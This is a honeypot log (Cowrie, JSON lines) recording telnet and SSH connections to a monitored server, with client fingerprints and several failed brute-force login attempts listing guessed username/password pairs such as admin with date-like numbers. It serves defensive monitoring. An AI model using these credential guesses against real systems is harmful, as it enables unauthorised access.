{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":56300,"dst_ip":"159.203.135.109","dst_port":23,"session":"4555e1f4a312","protocol":"telnet","message":"New connection: 174.142.104.49:56300 (159.203.135.109:23) [session: 4555e1f4a312]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:44:02.182416Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":56608,"dst_ip":"159.203.135.109","dst_port":23,"session":"040fb0b918d9","protocol":"telnet","message":"New connection: 174.142.104.49:56608 (159.203.135.109:23) [session: 040fb0b918d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:44:02.346056Z"}
{"eventid":"cowrie.session.closed","duration":30.690618753433228,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:44:03.465961Z","src_ip":"174.142.104.49","session":"abfc1988b3b2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":54.28253483772278,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:44:04.180040Z","src_ip":"174.142.104.49","session":"5234f31dbfce","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.796600103378296,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:44:04.614176Z","src_ip":"174.142.104.49","session":"396dfa9484e2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.00712251663208,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:44:04.975980Z","src_ip":"174.142.104.49","session":"73e4e213a783","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":39302,"dst_ip":"159.203.135.109","dst_port":23,"session":"46a6248f8adf","protocol":"telnet","message":"New connection: 174.142.104.49:39302 (159.203.135.109:23) [session: 46a6248f8adf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:44:05.453105Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":35650,"dst_ip":"159.203.135.109","dst_port":23,"session":"f204adc8416d","protocol":"telnet","message":"New connection: 174.142.104.49:35650 (159.203.135.109:23) [session: f204adc8416d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:44:06.401080Z"}
{"eventid":"cowrie.session.closed","duration":61.82948923110962,"message":"Connection lost after 61 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:44:09.076054Z","src_ip":"174.142.104.49","session":"f0d8ad653761","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.5118989944458,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:44:09.289562Z","src_ip":"174.142.104.49","session":"271769601ced","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":46018,"dst_ip":"159.203.135.109","dst_port":23,"session":"347f8a643752","protocol":"telnet","message":"New connection: 174.142.104.49:46018 (159.203.135.109:23) [session: 347f8a643752]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:44:09.553972Z"}
{"eventid":"cowrie.session.closed","duration":31.10299515724182,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:44:09.769658Z","src_ip":"174.142.104.49","session":"95d5497e7cfa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.340602159500122,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:44:09.783423Z","src_ip":"174.142.104.49","session":"9a78ea84fb46","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":45446,"dst_ip":"159.203.135.109","dst_port":23,"session":"a2a06e3957b6","protocol":"telnet","message":"New connection: 174.142.104.49:45446 (159.203.135.109:23) [session: a2a06e3957b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:44:10.234029Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":45686,"dst_ip":"159.203.135.109","dst_port":23,"session":"bcfd08b36e42","protocol":"telnet","message":"New connection: 174.142.104.49:45686 (159.203.135.109:23) [session: bcfd08b36e42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:44:10.391940Z"}
{"eventid":"cowrie.session.closed","duration":31.28300452232361,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:44:10.619796Z","src_ip":"174.142.104.49","session":"41f226443c4b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":41362,"dst_ip":"159.203.135.109","dst_port":23,"session":"97a64ec21291","protocol":"telnet","message":"New connection: 174.142.104.49:41362 (159.203.135.109:23) [session: 97a64ec21291]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:44:10.761826Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":57798,"dst_ip":"159.203.135.109","dst_port":23,"session":"d3f913fcce64","protocol":"telnet","message":"New connection: 161.132.53.68:57798 (159.203.135.109:23) [session: d3f913fcce64]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:44:10.887750Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":49402,"dst_ip":"159.203.135.109","dst_port":23,"session":"acd15c677c61","protocol":"telnet","message":"New connection: 174.142.104.49:49402 (159.203.135.109:23) [session: acd15c677c61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:44:11.506987Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":50414,"dst_ip":"159.203.135.109","dst_port":23,"session":"9beb7c37a3da","protocol":"telnet","message":"New connection: 174.142.104.49:50414 (159.203.135.109:23) [session: 9beb7c37a3da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:44:12.090613Z"}
{"eventid":"cowrie.session.closed","duration":31.18418264389038,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:44:12.434165Z","src_ip":"174.142.104.49","session":"786201289acf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.6.69","src_port":34080,"dst_ip":"159.203.135.109","dst_port":22,"session":"89969eaa9397","protocol":"ssh","message":"New connection: 165.154.6.69:34080 (159.203.135.109:22) [session: 89969eaa9397]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:44:13.296479Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:44:13.300621Z","src_ip":"165.154.6.69","session":"89969eaa9397","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:44:13.524678Z","src_ip":"165.154.6.69","session":"89969eaa9397","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":57.14602613449097,"message":"Connection lost after 57 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:44:13.687982Z","src_ip":"174.142.104.49","session":"5454523455a7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.6828715801239,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:44:13.752526Z","src_ip":"174.142.104.49","session":"96e2ff211f86","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":51774,"dst_ip":"159.203.135.109","dst_port":23,"session":"1eefec19d945","protocol":"telnet","message":"New connection: 174.142.104.49:51774 (159.203.135.109:23) [session: 1eefec19d945]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:44:13.859022Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":53508,"dst_ip":"159.203.135.109","dst_port":23,"session":"4c931bd2ffd7","protocol":"telnet","message":"New connection: 174.142.104.49:53508 (159.203.135.109:23) [session: 4c931bd2ffd7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:44:13.938007Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":50546,"dst_ip":"159.203.135.109","dst_port":23,"session":"76bb52d5cc2e","protocol":"telnet","message":"New connection: 174.142.104.49:50546 (159.203.135.109:23) [session: 76bb52d5cc2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:44:14.185424Z"}
{"eventid":"cowrie.login.failed","username":"ftp_user","password":"root","message":"login attempt [ftp_user/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:44:14.439274Z","src_ip":"165.154.6.69","session":"89969eaa9397","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":11334,"dst_ip":"159.203.135.109","dst_port":22,"session":"72714a48f159","protocol":"ssh","message":"New connection: 2.57.121.112:11334 (159.203.135.109:22) [session: 72714a48f159]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:44:15.213077Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:44:15.218087Z","src_ip":"2.57.121.112","session":"72714a48f159","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.587156295776367,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:44:15.233881Z","src_ip":"174.142.104.49","session":"76a4c7d90f0c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.353978872299194,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:44:15.257276Z","src_ip":"174.142.104.49","session":"4e04ff4555b3","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:44:15.322399Z","src_ip":"2.57.121.112","session":"72714a48f159","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":55666,"dst_ip":"159.203.135.109","dst_port":23,"session":"f62572db4c74","protocol":"telnet","message":"New connection: 174.142.104.49:55666 (159.203.135.109:23) [session: f62572db4c74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:44:15.382889Z"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:44:15.666975Z","src_ip":"165.154.6.69","session":"89969eaa9397","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"16041968","message":"login attempt [admin/16041968] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:44:15.794875Z","src_ip":"2.57.121.112","session":"72714a48f159","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.621759176254272,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:44:15.945312Z","src_ip":"174.142.104.49","session":"2c0f8422128d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"175.136.142.1","src_port":40840,"dst_ip":"159.203.135.109","dst_port":23,"session":"4b5067524db3","protocol":"telnet","message":"New connection: 175.136.142.1:40840 (159.203.135.109:23) [session: 4b5067524db3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:44:16.632295Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":56342,"dst_ip":"159.203.135.109","dst_port":23,"session":"ec1b4dfde66c","protocol":"telnet","message":"New connection: 174.142.104.49:56342 (159.203.135.109:23) [session: ec1b4dfde66c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:44:16.787028Z"}
{"eventid":"cowrie.login.failed","username":"admin","password":"16031969","message":"login attempt [admin/16031969] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:44:16.897964Z","src_ip":"2.57.121.112","session":"72714a48f159","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.811301469802856,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:44:17.097382Z","src_ip":"174.142.104.49","session":"1ec7376bbf85","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.496187448501587,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:44:17.134044Z","src_ip":"174.142.104.49","session":"44763bb45187","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.051050424575806,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:44:17.352502Z","src_ip":"174.142.104.49","session":"eada28a1f162","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":45536,"dst_ip":"159.203.135.109","dst_port":23,"session":"ad6f9391808d","protocol":"telnet","message":"New connection: 174.142.104.49:45536 (159.203.135.109:23) [session: ad6f9391808d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:44:17.481945Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":54682,"dst_ip":"159.203.135.109","dst_port":23,"session":"d8579ba7cd3a","protocol":"telnet","message":"New connection: 174.142.104.49:54682 (159.203.135.109:23) [session: d8579ba7cd3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:44:17.682990Z"}
{"eventid":"cowrie.session.closed","duration":31.40944266319275,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:44:17.914926Z","src_ip":"174.142.104.49","session":"a9a2737835af","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"admin","password":"160294","message":"login attempt [admin/160294] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:44:18.002030Z","src_ip":"2.57.121.112","session":"72714a48f159","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":63.063409090042114,"message":"Connection lost after 63 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:44:18.049009Z","src_ip":"174.142.104.49","session":"a1c4794fbdf6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.69825005531311,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:44:18.166972Z","src_ip":"174.142.104.49","session":"c47d77baa61d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":58838,"dst_ip":"159.203.135.109","dst_port":23,"session":"28ae99438a84","protocol":"telnet","message":"New connection: 174.142.104.49:58838 (159.203.135.109:23) [session: 28ae99438a84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:44:18.324021Z"}
{"eventid":"cowrie.session.closed","duration":30.855754137039185,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:44:18.937377Z","src_ip":"174.142.104.49","session":"d6b6bb1612dd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":56790,"dst_ip":"159.203.135.109","dst_port":23,"session":"5dc6af3c0c67","protocol":"telnet","message":"New connection: 174.142.104.49:56790 (159.203.135.109:23) [session: 5dc6af3c0c67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:44:19.081856Z"}
{"eventid":"cowrie.login.failed","username":"admin","password":"160287","message":"login attempt [admin/160287] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:44:19.107616Z","src_ip":"2.57.121.112","session":"72714a48f159","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":34626,"dst_ip":"159.203.135.109","dst_port":23,"session":"ae1481975dfc","protocol":"telnet","message":"New connection: 174.142.104.49:34626 (159.203.135.109:23) [session: ae1481975dfc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:44:19.730288Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":58016,"dst_ip":"159.203.135.109","dst_port":23,"session":"bbf68cac015b","protocol":"telnet","message":"New connection: 174.142.104.49:58016 (159.203.135.109:23) [session: bbf68cac015b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:44:19.790006Z"}
{"eventid":"cowrie.session.closed","duration":31.571359634399414,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:44:19.914789Z","src_ip":"174.142.104.49","session":"d1e14e1291a2","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"admin","password":"160280","message":"login attempt [admin/160280] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:44:20.213300Z","src_ip":"2.57.121.112","session":"72714a48f159","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":36132,"dst_ip":"159.203.135.109","dst_port":23,"session":"46c7f60d841e","protocol":"telnet","message":"New connection: 174.142.104.49:36132 (159.203.135.109:23) [session: 46c7f60d841e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:44:20.660901Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":36942,"dst_ip":"159.203.135.109","dst_port":23,"session":"e11d82f50685","protocol":"telnet","message":"New connection: 174.142.104.49:36942 (159.203.135.109:23) [session: e11d82f50685]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:44:21.093218Z"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:44:21.314559Z","src_ip":"2.57.121.112","session":"72714a48f159","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.38178825378418,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:44:21.385684Z","src_ip":"174.142.104.49","session":"e6cdc87d61d2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":52978,"dst_ip":"10.17.0.5","dst_port":23,"session":"489538511795","protocol":"telnet","message":"New connection: 104.245.105.2:52978 (10.17.0.5:23) [session: 489538511795]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:44:21.744078Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":38930,"dst_ip":"159.203.135.109","dst_port":23,"session":"357fdf1ccd4c","protocol":"telnet","message":"New connection: 174.142.104.49:38930 (159.203.135.109:23) [session: 357fdf1ccd4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:44:22.376325Z"}
{"eventid":"cowrie.session.closed","duration":30.72706937789917,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:44:22.667088Z","src_ip":"104.245.105.2","session":"32a1e56bb3af","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":52980,"dst_ip":"10.17.0.5","dst_port":23,"session":"9f09b8fd73f5","protocol":"telnet","message":"New connection: 104.245.105.2:52980 (10.17.0.5:23) [session: 9f09b8fd73f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:44:23.141906Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":38604,"dst_ip":"159.203.135.109","dst_port":23,"session":"09f379606f74","protocol":"telnet","message":"New connection: 174.142.104.49:38604 (159.203.135.109:23) [session: 09f379606f74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:44:23.178096Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":35758,"dst_ip":"159.203.135.109","dst_port":23,"session":"12343e7de689","protocol":"telnet","message":"New connection: 174.142.104.49:35758 (159.203.135.109:23) [session: 12343e7de689]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:44:23.390053Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":36326,"dst_ip":"159.203.135.109","dst_port":23,"session":"7e0b77fd3000","protocol":"telnet","message":"New connection: 174.142.104.49:36326 (159.203.135.109:23) [session: 7e0b77fd3000]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:44:23.778256Z"}
{"eventid":"cowrie.session.closed","duration":31.81250023841858,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:44:23.994214Z","src_ip":"174.142.104.49","session":"b84201aabed3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.340221405029297,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:44:24.271776Z","src_ip":"161.132.53.68","session":"8408bb2a06ec","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.036282062530518,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:44:25.885301Z","src_ip":"174.142.104.49","session":"0a971c95ea6f","protocol":"telnet"}
